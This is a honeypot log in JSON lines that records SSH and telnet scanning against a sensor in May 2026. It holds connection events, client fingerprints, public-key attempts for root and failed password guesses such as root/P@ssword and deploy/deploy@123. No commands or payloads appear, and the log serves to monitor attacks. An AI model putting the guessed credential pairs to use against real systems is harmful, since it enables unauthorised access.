{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ce:2d:7d:d1:db:77:19:02:29:04:32:3d:28:9b:0d:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDTkJvRINgmYdd3/TQu/wxbfSLZx9zVbXg/iug3TP7q2bg41bi560CnDdx0NSw7ge7bDqWArlbdrAAC3cmeYSqSttO9gquXimr/2XwIlSWm8lpRYW4iNC5LIKRrnlDzWwUzTYp62sw5gXtjtrjw33lTCFpGbyqz+4wufhWrppHXnkv6tFEwKX9zGi0ZuIQXsK/b+j/pJLd9tYL12MdQOXSrrPIanv2/DSjCEGlxHj7vFAHCvKK2bS3d61ocl4dYmLUaqcWXPn+ZjFU27AYFAiidT+etLOryfOpo1C1+33sTo7oD8ty8IiqBmV7k+Ib+JYf9GytIyAoF+avUQZVCbQjgY3RS8Gc6pjNiiuVLVxZ3lg6yu7aI25DgSbSSnbukXVLqDvZh3B9xNYX1EQpxODUNhmSxOmoSpa9mdOqmibh/4TT+9nOEEgJxMQ6dEQjkbZRvp5pP/Ol4KJXQ8tPoKu4Yyw+JIoifjn/QCpUWPpiiL5gAIrXdWxh3Q+resPOfe5N2diF+Z6jNVdnz9tgiB8fEQUX4wJSUcdU3lKq4LwcTg6sOjsEJ8o9ZRNCnthd1CW4ZodLQFO7iYvzLjOGS/UojEbDNR5pgMiK3aYVlzV9RigFnO/HrqduoYaPoWDfvJaU5hV9+lA2KqD11OdTbav55Rw+zZ+7YnHAxUXwvDP6TYQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:22:47.045416Z","src_ip":"74.48.165.72","session":"5a605d7f568a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"56:c3:8b:30:12:fd:b7:05:ba:6c:47:f1:f4:2c:be:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDJ98IrgaaasIJWxAIh+qPqJSu47jXsWu4jyK5qMztGHLvj5DRXsGlnAQAEMlj+HYFxHvPgXhP986fmd/YbDomWuvfk/2GIEDY0zgeFETsQ6Uzgf/LmG2nHIZLYsdHD5XaU57Boxh9fHGZxlQlBMIeGcRX++djBpd9wGWwCK/mcFxs2niOvynkBw4ie8QEbOhGOH+HTGlKxyEe09nRM4f9pD4iSiPWXRWjywbME8DWP1hhBoOoUYFnFLGZHIM9BWH0xdmitNmGwxVfChSbxaysWAYe0+YCTdIoxkdkdmH/sZS37iSQgOGLL3eK5bFJZ65dtgwL2lDxNXK8H5JiROi8DknUunJBlSYHOoD0ORZUj0aL7B+5TW83G16Akb/QMwf9O+tCte+PVB7lSXRWuy+/bVv8xiKYCP/jVmAFTcpwZSxUO5srt1hVzw9yEyaWZ9NkKXN9poiGiasmZ849QWFqn85+XXTfJqxW9rKFMzft6s9dX/HkWokxHW9qLqzFYOr12EyOhOST4ozFIRhXfuso+VqqgtKjP04oBSZQ48l8hghvEhDNAeaAuvdiVlEu/jU/WjtrDDWKhTwoc2Asa4YPqzrAN6vWQDWHzYbliTTU9CXUlgPrY6rVYpuZOtqsxW8el+ZRYCvd1bL1J8ikS+kIvzgRJAfixgulmaxsDcqiY+Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 56:c3:8b:30:12:fd:b7:05:ba:6c:47:f1:f4:2c:be:fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:22:47.112245Z","src_ip":"74.48.165.72","session":"5a605d7f568a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"56:c3:8b:30:12:fd:b7:05:ba:6c:47:f1:f4:2c:be:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDJ98IrgaaasIJWxAIh+qPqJSu47jXsWu4jyK5qMztGHLvj5DRXsGlnAQAEMlj+HYFxHvPgXhP986fmd/YbDomWuvfk/2GIEDY0zgeFETsQ6Uzgf/LmG2nHIZLYsdHD5XaU57Boxh9fHGZxlQlBMIeGcRX++djBpd9wGWwCK/mcFxs2niOvynkBw4ie8QEbOhGOH+HTGlKxyEe09nRM4f9pD4iSiPWXRWjywbME8DWP1hhBoOoUYFnFLGZHIM9BWH0xdmitNmGwxVfChSbxaysWAYe0+YCTdIoxkdkdmH/sZS37iSQgOGLL3eK5bFJZ65dtgwL2lDxNXK8H5JiROi8DknUunJBlSYHOoD0ORZUj0aL7B+5TW83G16Akb/QMwf9O+tCte+PVB7lSXRWuy+/bVv8xiKYCP/jVmAFTcpwZSxUO5srt1hVzw9yEyaWZ9NkKXN9poiGiasmZ849QWFqn85+XXTfJqxW9rKFMzft6s9dX/HkWokxHW9qLqzFYOr12EyOhOST4ozFIRhXfuso+VqqgtKjP04oBSZQ48l8hghvEhDNAeaAuvdiVlEu/jU/WjtrDDWKhTwoc2Asa4YPqzrAN6vWQDWHzYbliTTU9CXUlgPrY6rVYpuZOtqsxW8el+ZRYCvd1bL1J8ikS+kIvzgRJAfixgulmaxsDcqiY+Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:22:47.117579Z","src_ip":"74.48.165.72","session":"5a605d7f568a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"72:a5:40:3b:2b:e8:44:04:60:a1:bd:42:25:e1:de:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDP2QCiXrqmeB0RXqFcSgRQLQS+NanWm/eZ3t8i6Y1Nkon29bBu+8yEAYSso3XHvDEwyTEZvS4U0vbbILoptVkg640ke12W5gqzgqMzXJPyFT19TV6RhTf03qeIQeh0/AHmD0SttFkJ9KzW2j5nkBR1prQjrLSIIGyc4s2vQUXUzCICogyC8N6vYOQJaB+4N8eaO3prHSDcQh5Sfy3w1w0hLDTAXALYYAk5gYLmYaWCAtvY5yhLQQH0W7gwkCVslACZZrjV+z9PUxtQ2jJ0GCBHsW9HIZOvqw6MSiomm3G9Az3RErHeRqQli1xwPJbbuyM19/ds5U/Lhp4FhHInUPAjLPgjY/HEc/3uDM4/3dH7vyIpX6la7ZQKFs7NYW1XnhPCcoYjlPmvW9BfonI0IJqLIXqxzoiz68mijmOUmxfICmGqj/omChuDoYcUzljvnLcCAFgGbxI36D/qViWnlYImZ/uBjuShS6OYvGhnNCMQHmeAxlyoqoRNIJM8Q2flZ05uupBjrtAwJ4mjSyQbxNyZnMiLMClrDVE923mLCcbYS4RBiZxr1Y7npJ81sCyxFBY60aG12nOnzGZ/5N9pByFeHyPxTTs4r7q1wH8G3BfxIkYyN82y+5Pomql+f1ys04MmwpzJzgu1xqvR92Wxzz1He9LHiOvr51uJw+a+PiWinw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 72:a5:40:3b:2b:e8:44:04:60:a1:bd:42:25:e1:de:54","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:22:47.185444Z","src_ip":"74.48.165.72","session":"5a605d7f568a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"72:a5:40:3b:2b:e8:44:04:60:a1:bd:42:25:e1:de:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDP2QCiXrqmeB0RXqFcSgRQLQS+NanWm/eZ3t8i6Y1Nkon29bBu+8yEAYSso3XHvDEwyTEZvS4U0vbbILoptVkg640ke12W5gqzgqMzXJPyFT19TV6RhTf03qeIQeh0/AHmD0SttFkJ9KzW2j5nkBR1prQjrLSIIGyc4s2vQUXUzCICogyC8N6vYOQJaB+4N8eaO3prHSDcQh5Sfy3w1w0hLDTAXALYYAk5gYLmYaWCAtvY5yhLQQH0W7gwkCVslACZZrjV+z9PUxtQ2jJ0GCBHsW9HIZOvqw6MSiomm3G9Az3RErHeRqQli1xwPJbbuyM19/ds5U/Lhp4FhHInUPAjLPgjY/HEc/3uDM4/3dH7vyIpX6la7ZQKFs7NYW1XnhPCcoYjlPmvW9BfonI0IJqLIXqxzoiz68mijmOUmxfICmGqj/omChuDoYcUzljvnLcCAFgGbxI36D/qViWnlYImZ/uBjuShS6OYvGhnNCMQHmeAxlyoqoRNIJM8Q2flZ05uupBjrtAwJ4mjSyQbxNyZnMiLMClrDVE923mLCcbYS4RBiZxr1Y7npJ81sCyxFBY60aG12nOnzGZ/5N9pByFeHyPxTTs4r7q1wH8G3BfxIkYyN82y+5Pomql+f1ys04MmwpzJzgu1xqvR92Wxzz1He9LHiOvr51uJw+a+PiWinw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:22:47.188580Z","src_ip":"74.48.165.72","session":"5a605d7f568a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c4:69:2e:54:65:7f:ad:07:d1:aa:70:ad:27:8b:c2:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC1KncZIz6wd1g0evIIs9jjf3y1vfsRJVyC7YjIY7X0BW/8ntzEj9/Hk+0UnaQmoSWeo2JIpqDjGNbH7u87na2oqwoEpgCTfOmMwdJXR/DCkvx41C+xXDq9sjh5/QGvA6bjg2VsSMxyFKp9VYF1BSf5RP/a4nFQltQkZKHGscAfL9xwrnomu7Jo38zDrmEWUrbmvktILrX9/l3fEcDFsfW8j+SQJfRvRA7MabNBnusLo+eQZfNOQWfR6U02p0ArgvAySSn0Nh4iZF3KlDn3WvePMZSaQsKHTBRdLDwspCzvnuxGYeptHWo4CXnEYMUxz8fvo1iHOCAdnmeOug6JadGWkrBDi3GVTIdhMiisvK485EWw62/jbnDTRw2FYA/7XHxq7LnWRxU791IqLomciJIN0CErGMh1ba6hf7+YjH79WNiqboXwxDNd86057mQiYuUkDEwT2iZXBnAf5LiRKH1sk6nYLaFryItCjktiEqfKt3XZabUfWVTfF+RzwPQjAeGiGRKF8cp/eMy+FAcFytSsm95S50siIzEuRPOHMPwSb7QjPHyYz4NcvUK3wv45F1DfzLmrHbF8ZygCZGXAcH58geOMp5yx+zL+e/wIv2d9GEOGkAwGOfGhjj5fgQv9PTEZDL4Zcpwbmx7kwXkEQW4PgK4uGSl1MftPy6xrFabV8w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c4:69:2e:54:65:7f:ad:07:d1:aa:70:ad:27:8b:c2:9f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:22:47.256345Z","src_ip":"74.48.165.72","session":"5a605d7f568a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c4:69:2e:54:65:7f:ad:07:d1:aa:70:ad:27:8b:c2:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC1KncZIz6wd1g0evIIs9jjf3y1vfsRJVyC7YjIY7X0BW/8ntzEj9/Hk+0UnaQmoSWeo2JIpqDjGNbH7u87na2oqwoEpgCTfOmMwdJXR/DCkvx41C+xXDq9sjh5/QGvA6bjg2VsSMxyFKp9VYF1BSf5RP/a4nFQltQkZKHGscAfL9xwrnomu7Jo38zDrmEWUrbmvktILrX9/l3fEcDFsfW8j+SQJfRvRA7MabNBnusLo+eQZfNOQWfR6U02p0ArgvAySSn0Nh4iZF3KlDn3WvePMZSaQsKHTBRdLDwspCzvnuxGYeptHWo4CXnEYMUxz8fvo1iHOCAdnmeOug6JadGWkrBDi3GVTIdhMiisvK485EWw62/jbnDTRw2FYA/7XHxq7LnWRxU791IqLomciJIN0CErGMh1ba6hf7+YjH79WNiqboXwxDNd86057mQiYuUkDEwT2iZXBnAf5LiRKH1sk6nYLaFryItCjktiEqfKt3XZabUfWVTfF+RzwPQjAeGiGRKF8cp/eMy+FAcFytSsm95S50siIzEuRPOHMPwSb7QjPHyYz4NcvUK3wv45F1DfzLmrHbF8ZygCZGXAcH58geOMp5yx+zL+e/wIv2d9GEOGkAwGOfGhjj5fgQv9PTEZDL4Zcpwbmx7kwXkEQW4PgK4uGSl1MftPy6xrFabV8w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:22:47.259030Z","src_ip":"74.48.165.72","session":"5a605d7f568a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:22:47.325498Z","src_ip":"74.48.165.72","session":"5a605d7f568a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":33154,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5777bcb5828","protocol":"telnet","message":"New connection: 50.6.8.71:33154 (10.17.0.5:23) [session: a5777bcb5828]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:22:48.218871Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":51228,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ef76c70b8b4","protocol":"ssh","message":"New connection: 103.75.199.4:51228 (159.203.135.109:22) [session: 6ef76c70b8b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:22:48.778825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:22:48.782748Z","src_ip":"103.75.199.4","session":"6ef76c70b8b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:22:48.873684Z","src_ip":"103.75.199.4","session":"6ef76c70b8b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"gitlab","message":"login attempt [gitlab/gitlab] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:22:49.156922Z","src_ip":"103.75.199.4","session":"6ef76c70b8b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:22:50.254546Z","src_ip":"103.75.199.4","session":"6ef76c70b8b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":59630,"dst_ip":"159.203.135.109","dst_port":22,"session":"9dcac2ec6011","protocol":"ssh","message":"New connection: 103.75.199.4:59630 (159.203.135.109:22) [session: 9dcac2ec6011]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:23:10.698006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:23:10.702888Z","src_ip":"103.75.199.4","session":"9dcac2ec6011","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:23:10.794327Z","src_ip":"103.75.199.4","session":"9dcac2ec6011","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword","message":"login attempt [root/P@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:23:11.066999Z","src_ip":"103.75.199.4","session":"9dcac2ec6011","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:23:12.160556Z","src_ip":"103.75.199.4","session":"9dcac2ec6011","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.04050421714783,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:23:32.259277Z","src_ip":"50.6.8.71","session":"a5777bcb5828","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":37004,"dst_ip":"159.203.135.109","dst_port":22,"session":"51734205aa5c","protocol":"ssh","message":"New connection: 103.75.199.4:37004 (159.203.135.109:22) [session: 51734205aa5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:23:32.662232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:23:32.666271Z","src_ip":"103.75.199.4","session":"51734205aa5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:23:32.757229Z","src_ip":"103.75.199.4","session":"51734205aa5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy@123","message":"login attempt [deploy/deploy@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:23:33.033949Z","src_ip":"103.75.199.4","session":"51734205aa5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":50720,"dst_ip":"159.203.135.109","dst_port":22,"session":"74ddc2f774f4","protocol":"ssh","message":"New connection: 80.94.92.168:50720 (159.203.135.109:22) [session: 74ddc2f774f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:23:33.248761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:23:33.592163Z","src_ip":"80.94.92.168","session":"74ddc2f774f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:23:33.595652Z","src_ip":"80.94.92.168","session":"74ddc2f774f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.229.163.230","src_port":54903,"dst_ip":"159.203.135.109","dst_port":23,"session":"4988ba15a19a","protocol":"telnet","message":"New connection: 36.229.163.230:54903 (159.203.135.109:23) [session: 4988ba15a19a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:23:33.831496Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:23:34.126707Z","src_ip":"103.75.199.4","session":"51734205aa5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00095534324646,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:23:34.448939Z","src_ip":"102.67.221.40","session":"63556ed9c339","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:23:34.927006Z","src_ip":"80.94.92.168","session":"74ddc2f774f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.67.221.40","src_port":13846,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1c1a94090d7","protocol":"telnet","message":"New connection: 102.67.221.40:13846 (159.203.135.109:23) [session: d1c1a94090d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:23:35.836135Z"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:23:36.484280Z","src_ip":"80.94.92.168","session":"74ddc2f774f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.52485704421997,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:23:47.356186Z","src_ip":"36.229.163.230","session":"4988ba15a19a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":60842,"dst_ip":"159.203.135.109","dst_port":22,"session":"18b8d3023afe","protocol":"ssh","message":"New connection: 103.75.199.4:60842 (159.203.135.109:22) [session: 18b8d3023afe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:23:54.639870Z"}
